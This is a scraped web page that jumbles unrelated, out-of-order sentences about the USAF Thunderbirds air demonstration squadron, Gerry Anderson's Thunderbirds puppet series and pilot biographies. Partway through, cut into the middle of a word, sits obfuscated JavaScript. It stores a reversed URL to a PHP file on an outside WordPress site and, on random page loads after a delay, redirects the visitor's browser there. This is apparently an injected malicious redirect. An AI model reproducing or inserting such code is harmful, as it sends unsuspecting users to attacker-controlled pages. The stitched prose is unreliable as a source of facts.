Present-day USAF Thunderbirds carry the lineage, history, and honors of the 30th on active duty. This years applicant pool featured some of the very finest Air Force leaders, who showcased a remarkable level of skill and motivation, Lt. Col. John Caldwell, the teams squadron commander and No. However, in 1974 they switched to the more economical T-38 Talon. A Thunderbirds air demonstration is a mix of formation flying and solo routines. This team was formed in early 1949 by a group of 22d Fighter Squadron pilots from the 36th Fighter Wing at Frstenfeldbruck AB in West Germany. [261][262][263] In the late 1980s, Thunderbirds was released on home video for the first time by PolyGram and its subsidiary Channel 5. Therefore, scenes involving movement were filmed from the waist up, with a puppeteer holding the legs below the level of the camera and using a "bobbing" action to simulate motion. Scott Tracy Pilot of Thunderbird 1 Voice by Shane Rimmer. [67] Ultimately, a variation of the march was used instead. [87] With Sylvia Anderson, she was also responsible for voicing most of the female and child supporting characters. 116117, Virgil is the second-oldest son and John the third-oldest. They are aided in this mission by technologically-advanced land, sea, air and space vehicles that are called into service when conventional rescue methods prove ineffective. U.S. Air Force Air Demonstration Squadron, Bird strike forces Thunderbird to land after Air Force Academy graduation flyover, Michigan expands absentee voting for military members, Some companies charge hefty fees to help vets with disability claims, First-term airmen will have an easier time finding a new Air Force job, Meet 12M+, the new community app for military spouses, Kansas man upset he cant buy mini Toyotas like the Taliban and ISIS, Your next tech and incoming AI | Defense News Weekly Full Episode 4.28.2023, Home Improvement Loans What are my options? Diamond: Historically, as Thunderbirds 1 through 4 lift off, the slot aircraft slips immediately into position behind 1 to create the signature Diamond formation. list below. "[36] He argues that the series adheres more closely to cultural norms by drawing on the "Cold War cult of the secret agent whose skills defend the home from enemies unknown", noting Lady Penelope's role as a spy in addition to two episodes ("30 Minutes After Noon" and "The Man from MI.5") that are heavily influenced by the James Bond novels and film adaptations. [30][127] To give the puppets increased mobility, the costume department generally avoided stiff synthetic materials, instead working with cotton, silk and wool. [76] In the early 1990s, Matchbox launched a new toy range to coincide with the BBC2 repeats. Beginning in June 1982, the F-16 Thunderbirds were led by Major Jim Latham. [94][95] Parker's Cockney manner was based on a waiter at a pub in Cookham that was sometimes visited by the crew. The USAF Thunderbird Association promotes a shared purpose to create a welcoming community for all past, current and future Thunderbirds and help preserve our history for generations to come. [100][101] Bob Bell, assisted by Keith Wilson and Grenville Nott, headed the art department for Series One. The F-16 has been the demonstration aircraft for the Thunderbirds since the 1983 season. The Navy and Marine pilots were trained in J-3s to PT-19s before being sent overseas. She earned a Bachelor of Science degree in management, with a minor in French,[13] from the United States Air Force Academy, graduating 4th in the class of 1996. News - Air Force Some members of the squadron fought as an infantry unit and were captured by the Japanese, being subjected to the Bataan Death March. Derek Meddings later worked on five Bond films as SFX supervisor. The team switched to the F-105 Thunderchief for the 1964 season, but were forced to re-equip with the F-100D after only six airshows due to a catastrophic structural failure of the No. To mark the event, Vue Cinemas hosted special Thunderbirds screenings in 52 locations around the UK,[312] the Emirates Air Line cable car featured "Thunderbirds Are Go" branding, and the InterContinental London - The O2 hotel offered a "Lady Penelope Afternoon Tea" from 15 September until 30 October. [160][174] A combination of unreliable rockets and weak wiring frequently caused problems: should the former be slow to ignite, the current quickly caused the latter to overheat and snap, potentially damaging the model and even setting fire to the set. Category : United States Air Force Thunderbirds pilots (Parker's actual first name was Aloysius, he was also known as "Nosey" Parker) Voice by David Graham. Five T-38s used the same amount of fuel needed for one F-4 Phantom. U.S. Air Force Thunderbirds fly over Disney World, delighting parkgoers. [6] In January 1982, four members of the squadron were killed in what became known as the "Diamond Crash" of T-38 Talon aircraft which the squadron had flown since 1974. The opposing solos usually perform their maneuvers just under the speed of sound (500 to 700mph (800 to 1,130km/h)), and show off the capabilities of their individual aircraft by doing maneuvers such as fast passes, slow passes, fast rolls, slow rolls, and very tight turns. [55][56][57][58][59] Anderson lamented: "Our time-scale was far too drawn out. International Rescue's most persistent opponent is master criminal the Hood. The U.S. Air Force Thunderbirds have announced five new officer selections for the 2023-2024 air show seasons. Pages in category "United States Air Force Thunderbirds pilots" The following 10 pages are in this category, out of 10 total. Performances resumed in 2014.[20][21]. [8][13][17] Malachowski has been an advocate of recognition of the Women Airforce Service Pilots (WASP), America's first women military aviators who served during World War II. Parker [204], In 1990, eight of the 19 audio episodes were turned into radio dramas for broadcast on BBC Radio 5. Whereas previous series had been broadcast in late-afternoon children's timeslots, Anderson wanted Thunderbirds to be shown during the evening to attract a broader family audience. [90] A veteran of radio drama, Barrett was skilled at performing a range of voices and accents in quick succession. January 2004 March 2004: Student, F-15E TX-2, Class 04-BTE2, 333d Fighter Squadron, Seymour Johnson AFB, North Carolina. [76][204] The series was last transmitted on the ITV network in 1981. She served two operational tours at RAF Lakenheath, England, with the 48th Fighter Wing; assignment to the 4th Fighter Wing at Seymour Johnson AFB; and as an Air Liaison Officer supporting the 2nd Infantry Division at Camp Red Cloud, South Korea. The Tracy Brothers - International Rescue | Gerry Anderson's Thunderbirds [104] This task was complicated by the unnatural proportions of the puppets: Bell struggled to decide whether the sets should be built to a scale proportionate to their bodies or their oversized heads and hands. [138] A typical episode contained around 100 effects shots and Meddings' team completed up to 18 per day. When NBC withdrew its offer, the other two immediately followed. [271][285] This was followed in 1984 by another proposed re-imagining, T-Force, which Anderson was at first unable to pursue due to a lack of funding. [41][117] Sylvia Anderson brought the character of Penelope to life in likeness as well as voice: after her test moulds were rejected, sculptor Mary Turner decided to use Anderson herself as a template. [85], In the interest of transatlantic appeal, it was decided that the main characters would be mostly American and therefore actors capable of producing an appropriate accent were used. [34][145], As the puppets of Lady Penelope and Parker needed to fit inside, the largest of all the models was the seven-foot FAB 1, which cost 2,500 (about 54,000 in 2021) to build. The most important of these vehicles are the five "Thunderbird machines", each assigned to one of the five Tracy brothers: The family live on Tracy Island, International Rescue's base of operations in the South Pacific Ocean, in a luxurious villa that they share with four others: Jeff's mother, Grandma Tracy; the bespectacled scientist and engineer Brains, who designed the Thunderbirds machines; Brains' assistant Tin-Tin, who is also Alan's girlfriend; and Tin-Tin's father Kyrano, the Tracys' retainer. [185] The focus on futuristic machines has also been explored by cultural historian Nicholas J. Cull, who comments that of all the Andersons' series, Thunderbirds is the most evocative of a recurring theme: the "necessity of the human component of the machine", whereby the failures of new technology are overcome by "brave human beings and technology working together". It was a critical and commercial failure and poorly received by fans of the TV series. [229][234] In 2000, shortly before the series' BBC revival, Brian Viner remarked in Radio Times that Thunderbirds was on the point of "captivating yet another generation of viewers". Capt. This resulted in insufficient back pressure by the formation leader on the T-38 control stick during the loop. [66] While Meddings worked on the film, camera operator Jimmy Elliott assumed the responsibility of directing the TV effects. She will replace Capt. In 2007, during Maj. Malachowski's final season as a Thunderbird, the team selected its second female pilot, Captain Samantha Weeks, who flew the No. Lauren Threat Schlichting, Executive Officer, 4th Fighter Wing, Seymour Johnson AFB, NC, Thunderbird 6: Capt. Zane Taylor, of the 8th Fighter Squadron at Holloman Air Force Base in New Mexico, will be the teams slot pilot and serve as Thunderbird No. 3. Most of the ac$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors above also provided the voices for several other minor characters [288][289] Following Anderson's death in December 2012, it was confirmed that ITV Studios and Pkeko Pictures had struck a deal to remake Thunderbirds using a combination of CGI and live-action model sets. The United States Air Force Air Demonstration Squadron "Thunderbirds" perfrom at the Legends In Flight air show at Joint Base Andrews, Maryland, May 10, 2019. [159] He remained unsatisfied with the prototype of Thunderbird 2 until he inverted the wings, later commenting, "at the time, all aircraft had swept-back wings. In late 1964, Alan Pattillo, a longtime writer and director for APF, was made the company's first official script editor. Capt. The USAF Thunderbirds have announced the new pilots and officers for the 2019 show season. The Air Force's Thunderbirds team was activated just a few years later in 1953, and the Army's Golden Nights team was established in 1959. September 2008 September 2009: General Services Administration, September 2009 to October 2010: SAF/IA Weapons Division, Chief, International Developmental Fighter Programs, October 2010 to March 2011: Director of Operations, 4th Operations Support Squadron, Seymour-Johnson AFB, NC, June 2013 June 2014: Student, Naval War College, Newport, RI, September 2015 - May 2016: Executive Director of Joining Forces initiative, White House Fellow, This page was last edited on 16 April 2023, at 19:56. [276][277] As a result, they had no developmental control over later adaptations of their works. Much of the Thunderbirds' display alternates between maneuvers performed by the diamond, and those performed by the solos. [208] His negotiations with Granada and its successor, ITV plc, continued for the next few years. [77][78] In July, he cancelled Thunderbirds after failing in his second attempt to secure an American buyer. [45][48] Due to the difficulties of setting up takes, progress was slow: even on a productive day, it was rare for the crew to complete more than two minutes of puppet footage. [308][309] In later decades, Thunderbirds has been used in advertising for Kit Kat chocolate bars, Swinton Insurance, Specsavers and the Driver and Vehicle Licensing Agency. William Shockley, Tom Brady Thunderbird Pictures. [100][112], The puppets were made up of more than 30 individual components, the most important of which was the solenoid that synchronised lip movements with the characters' pre-recorded dialogue. [244], The series' presentation of smoking was the subject of a study published in the medical journal Tobacco Control in 2002. But because International Rescue's mission is to save life, there is no gratuitous violence. [124], Wigs were made of mohair or, in the case of the Penelope puppet, human hair. It is mandatory to procure user consent prior to running these cookies on your website. [83] Supporting parts were not assigned, but negotiated by the cast among themselves. In 1969, the squadron re-equipped with the front-line F-4E Phantom, which it flew until 1973, the only time the Thunderbirds would fly jets similar to those of the Blue Angels as it was the standard fighter for both services in the 1960s and 1970s. [165] The Rolls-Royce's name and colour were both chosen by Sylvia Anderson. [193] More generally, he praises the series' "catchy, pulse-quickening tunes", as well as Gray's aptitude for "musical nuance" and the mixing of genres. Naval War College, where she graduated with highest distinction. Pilot of Thunderbird 3 6 and be the teams opposing solo pilot, performing maneuvers intended to push the F-16s capabilities to its limit. Due to the 1973 oil crisis, the team flew only six air shows and was grounded for some time. "[29] The Andersons retired to their holiday villa in Portugal to expand the premise, script the pilot episode and compose a writers' guide. Based at Creighton-Ward Mansion in Kent, Penelope and Parker travel in FAB1, a specially-modified Rolls-Royce. causing the deaths of all four Thunderbird's pilots. "[227][228] Simon Heffer, a fan of Thunderbirds in childhood, commented positively on the series for The Daily Telegraph in 2011: "All the elements we children discerned in whatever grown-up television we had been allowed to watch were present in Thunderbirds: dramatic theme and incidental music; well-developed plots; goodies and baddies; swaggering Americans, at a time when the whole of Britain was in a cultural cringe to them; and, of course, glamorous locations Then, of course, there was the nail-biting tension of the rescues themselves"[229] Film critic Kim Newman describes the series as a "television perennial". The team's activities were suspended for six months pending investigation of the crashes and review of the program, then reinstituted using the General Dynamics F-16A Fighting Falcon in 1983, 40years ago, and were upgraded to the F-16C (now produced by Lockheed Martin) in 1992. The release said Aldridge will fly as close as three feet from the squadrons No. [154] The architecture of the mansion was based on that of Stourhead House, located on the Stourhead Estate in Wiltshire. . Bignell comments that the Hood's Oriental appearance and mysterious powers draw parallels with James Bond villains and fears of China operating as "a 'third force' antagonistic to the West". Outside of aerial demonstrations, the team participated in eight official public relations events attended by heads of state and local civic leaders. Jim Sangster and Paul Condon, writers of Collins Telly Guide, consider the model work "uniformly impressive". This website uses cookies to improve your experience while you navigate through the website. In 1961, the team was compelled to discontinue the vertical bank maneuver due to an FAA regulation prohibiting aerobatics that pointed the nose of the aircraft toward the crowd. Flying high-performance fighter jets is inherently dangerous; when flying in extremely close formation, the danger is compounded. [54], The production, which had been shooting two 25-minute episodes every two weeks,[20] faced great challenges transitioning to the new format: nine episodes had already been fully or partly filmed, scripts for ten more had been written, and major rewrites would be needed to satisfy the longer running time. [51][190] The end titles were originally to have been accompanied by "Flying High", a lyrical track sung by Gary Miller with backing by Ken Barrie. [76] In 2007, Thunderbirds came 19th in a Radio Times poll for the best science fiction TV programme of all time,[223] and in 2013, it was ranked fourth in the Channel 5 list show 50 Greatest Kids' TV Shows. They also performed the first American military demonstration in a communist country when the team visited Beijing, China, in 1987.[3]. [200] In the Midlands, ATV broadcast Series One in the hour-long format; Series Two, along with repeats of Series One, was then shown in the two-part format on consecutive evenings. In Captain Marvel, Brie Larson plays Carol Danvers, an Air Force fighter pilot who uses the special powers she gains during an accident to save the galaxy. [173] By far the most unwieldy model was Thunderbird 2, which Meddings remembered as being "awful" to fly. Voice by David Graham, Virgil Tracy LAS VEGAS The Air Force Thunderbirds announced the selection of four new pilots and a medical doctor on Friday in support of their 2019 season, including the squadron's second female solo pilot in the team's storied history. Thunderbirds > Air Force > Fact Sheet Display (U.S. Air Force Photo/SSgt Cory W. Bush). Thunderbirds (1965-1966) Captain Scarlet And The Mysterons (1967-1968) Joe 90 (1968-1969) . and David Graham also provided the voice for Kyrano. January 2003 January 2004: Army Liaison Officer, Chief of Standardization and Evaluation, deputy director of Main Air Support Operations Center, ASOC Fighter Duty Officer, 604th Air Support Operations Squadron, Camp Red Cloud, South Korea. March 1998 January 1999: Student, F-15E Formal Training Unit, January 1999 October 2000: F-15E pilot, Ground Training Officer, Standardization and Evaluation Liaisons Officer. In addition to the air shows, the Thunderbirds personally met and spent time with more than five hundred special needs children and orphans. Robert Bobby Gulla, Operations Officer, 723 Aircraft Maintenance Squadron, Moody AFB, GA. Congratulations to the newest Thunderbirds! ), so that when slowed down to the regular 24 f.p.s., their apparent magnitude and length would be increased. Members of International Rescue acknowledge orders with the expression "FAB" (a shortening of the 1960s vogue word "fabulous", but spoken like an initialism: "F-A-B").[22]. Later in the year, the team returned to Canada for the Abbotsford International Airshow at Abbotsford International Airport, British Columbia. [24], Seeking to distinguish his proposal from APF's earlier productions, Anderson attempted to pitch the stories at a level that would appeal to both adults and children. [241][275], The Andersons sold their intellectual and profit participation rights to Thunderbirds and their other productions in the 1970s. [18][19][20], Malachowski served as deputy commander of the 4th Operations Support Squadron, 4th Operations Group, until 18 November 2011, when she took command of the 333d Fighter Squadron at Seymour Johnson AFB. [50] In a departure from the style of Stingray, the Thunderbirds title sequence varies with each episode: the first part consists of an action montage that serves as a preview of the plot. [194] She also highlights Gray's homage toand divergence frommusical norms, commenting that his score "sends up the spy and action/adventure conventions of the '60s very stylishly and subtly". And in America they love the British aristocracy too. "[242], Thomas argues that the world of Thunderbirds is similar to the 1960s to the extent that contemporary capitalism and class structures appear to have survived mostly intact. Since 1953, they have flown in front of more than 300 million people.[5]. [11] In high school, she was a cadet member of the Nevada Wing of the Civil Air Patrol[12] and participated in AFJROTC, where she was rated cadet colonel, the highest rank a cadet could achieve. Three new pilots were selected in addition to a flight surgeon and an operations officer. NELLIS AIR FORCE BASE, Nev. - The United States Air Force Air Demonstration Squadron "Thunderbirds" have officially announced the officers who will be joining the team for the 2022 demonstration season. [6][Note 1]. [271] Three Thunderbirds features were produced: Thunderbirds to the Rescue, Thunderbirds in Outer Space and Countdown to Disaster. During her second tour at RAF Lakenheath, Malachowski deployed for four months in early 2005 in support of Operation Iraqi Freedom, flying 26 combat missions. [199] Like other British series filmed in colour in the mid-1960s, Thunderbirds was first screened in its home market in black and white, colour broadcasting not starting on the main channels of BBC1 and ITV until November 1969. [269][270], In the early 1980s, episodes of Thunderbirds and other Supermarionation series were re-edited by ITC's New York offices to create a series of compilation films. 1 jet during formations. Early years, education, and personal biography, Air Force Organizational Excellence Award, Air Force Overseas Short Tour Service Ribbon, Air Force Overseas Long Tour Service Ribbon, "Joining Forces Announces New Executive Director", "Wing honors first female Thunderbird pilot", "Report of the Access to Care Services and Support to Patients Subcommittee to the Tick-Borne Disease Working Group", "Retired Fighter Pilot Nicole Malachowski Addresses Economic Club", "Major Nicole Malachowski and Major Samantha Weeks", "Joining Forces' new leader has cockpit, White House experience", "National Women's Hall of Fame announces Class of 2019", "Female Thunderbird: First in Flight; Western High School grad makes history", "President Bush Appoints 20082009 Class of White House Fellows", "A Little Good News from Paul Malachowski", "Change of Command ceremony, 333d Fighter Squadron", "First female Thunderbird takes last flight at SJ", First Lady thanks WHFs Col. Nicole Malachowski and Maj. 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[citation needed], The "Skyblazers[ja]" were the USAF demonstration team representing the United States Air Forces Europe (USAFE) from the late 1940s through the 1950s. [136] Knowing that Thunderbirds would be the "biggest project [APF] had worked on", Meddings found himself struggling to manage his workload with the single filming unit that had produced all the effects for Stingray. Air demonstration squadron of the United States Air Force, United States Air Force Thunderbirds emblem, For the operational history of the USAF Thunderbirds, see, Relationship to other USAF aerial demonstration teams, A five-page report of the mishap was published by. Broughton was hand-selected by Catledge to replace him, and is the only captain to serve as commander/leader of the team. Red Devils flew five P-51 Mustang aircraft and existed only one year. The squadron was withdrawn to Australia, being reformed and later attacked Japan as a B-29 Superfortress squadron in 1945. Pilot of Thunderbird 1 The switch saw an alteration of the flight routine to exhibit the aircraft's maneuverability in tight turns, and ended the era of the black tail on the No. Michael Brewer of Seymour Johnson Air . [251][252] Due to the series' popularity, some British commentators dubbed the 1966 end-of-year shopping season "Thunderbirds Christmas". The team continues to fly the F-16, having switched from the F-16A to the F-16C in 1992. 25 July 1977: Capt Charlie Carter, Thunderbird pilot and narrator, was fatally injured after an aborted landing attempt in, 8 September 1981: Lt Col David L. Smith, commander of the Thunderbirds, was killed when his aircraft ingested seagulls while taking off from, 4 April 2018: Maj Stephen Del Bagno, slot pilot, was killed when his aircraft, Thunderbird No. [82] Two of the wires relayed these pulses to the internal solenoid, completing the Supermarionation process. [236] Writing for Dreamwatch in 1994, Andrew Thomas described Thunderbirds as only "nominally" a children's programme: "Its themes are universal and speak as much to the adult in the child as the child in the adult. [188][189], The score was composed by Gray, who served as musical director for all of the Anderson productions up to the first series of Space: 1999. [66][80] International advance sales totalled 350,000 (about 7 million in 2021). 5261. [204], From 1965 to 1967, APF released 19 Thunderbirds audio plays on vinyl EP records. "[60] APF spent over seven months extending the existing episodes and filmed the new 50-minute format at a rate of two episodes every four weeks. Voice by David Holliday [11] She graduated from Western High School in Las Vegas in 1992. He has traveled to the Middle East to cover U.S. Air Force operations. 1, the squadron's Commander/Leader. 1 pilot, said. [70][76] The three major US networks of the timeNBC, CBS and ABChad all bid for the series, with Grade repeatedly increasing the price. For the latest updates regarding the Thunderbirds and the 2022 show season, be sure to stay tuned to our website, social media, and mobile app. Because the Thunderjet was a single-seat fighter, a two-seat T-33 Shooting Star served as the narrator's aircraft and was used as the VIP/Press ride aircraft. May 9, 1964: Captain Eugene J. Devlin killed during a three-plane formation pass. William Shockley & Tom Brady Launch Thunderbird Pictures [1] While practicing the four-plane diamond loop, the formation impacted the ground at high speed, instantly killing all four pilots: Major Norman L. Lowry (commander/leader), Captain Willie Mays, Captain Joseph N. "Pete" Peterson, and Captain Mark Melancon. [91], Various commentatorsincluding Bignell, Cull and O'Brienhave also discussed Thunderbirds as a product of the Cold War era. [209][210] In Scotland, the BBC aired a Gaelic dub, Tairnearan Tar As ("Thunderbirds Are Go") in 1993 and 1994. The solo pilots perform maneuvers that showcase the maximum capabilities of the F-16 aircraft. In 1982, the Thunderbirds suffered a catastrophic loss during pre-season training on 18 January. Lady Penelope Creigh ton-Ward International Rescue's London Agent Voice by Sylvia Anderson. [258] In 2008, FTL Publications of Minnesota launched a new series of tie-in novels. In response to Gerry Anderson's request that the main theme have a "military feel", Gray produced a brass-dominated piece titled "The Thunderbirds March", which was recorded in December 1964 at Olympic Studios in London. This illustrates the quick thinking and decision . The length of Thunderbird 1 is a matter of debate, [citation needed . [207] Blu-ray editions followed in 2008. Due to their low weight and the fact that they had only one control wire per leg, the puppets were unable to walk convincingly. The Thunderbirds will launch their 66th season in March 2019 with two performances in Florida and one in Arizona. [128], Each puppet's head was fitted with around ten thin tungsten steel wires. [11] In April 2010 she was admitted to the Mother and Infant Care Center (MICC) of the National Naval Medical Center in Bethesda, Maryland, in expectation of the birth of twins. Cory Bush) A KC-135 Stratotanker from McConnell Air Force Base, Kan., refuels several F-16 Fighting Falcons from the U.S. Air Force Air Demonstration Squadron "Thunderbirds" over the Rocky Mountains on . Produced by Anderson Entertainment, the audiobooks feature Jon Culshaw as the voices of Jeff Tracy and Parker, with Genevieve Gaunt as Lady Penelope. This category only includes cookies that ensures basic functionalities and security features of the website. 1 aircraft's control stick actuator. [98][99], The puppet stages used for the filming of Thunderbirds were only one-fifth the size of those used for a standard live-action production, typically measuring 12 by 14 metres (39 by 46ft) with a three-metre-high (9.8ft) ceiling. 4549. Bentley 2008: Foreword by Gerry Anderson, p.7. Gao.gov. [264][265], An official Thunderbirds board game was published in 2015. [194], David Huckvale identifies Wagnerian homage in both the theme music and the series' premise.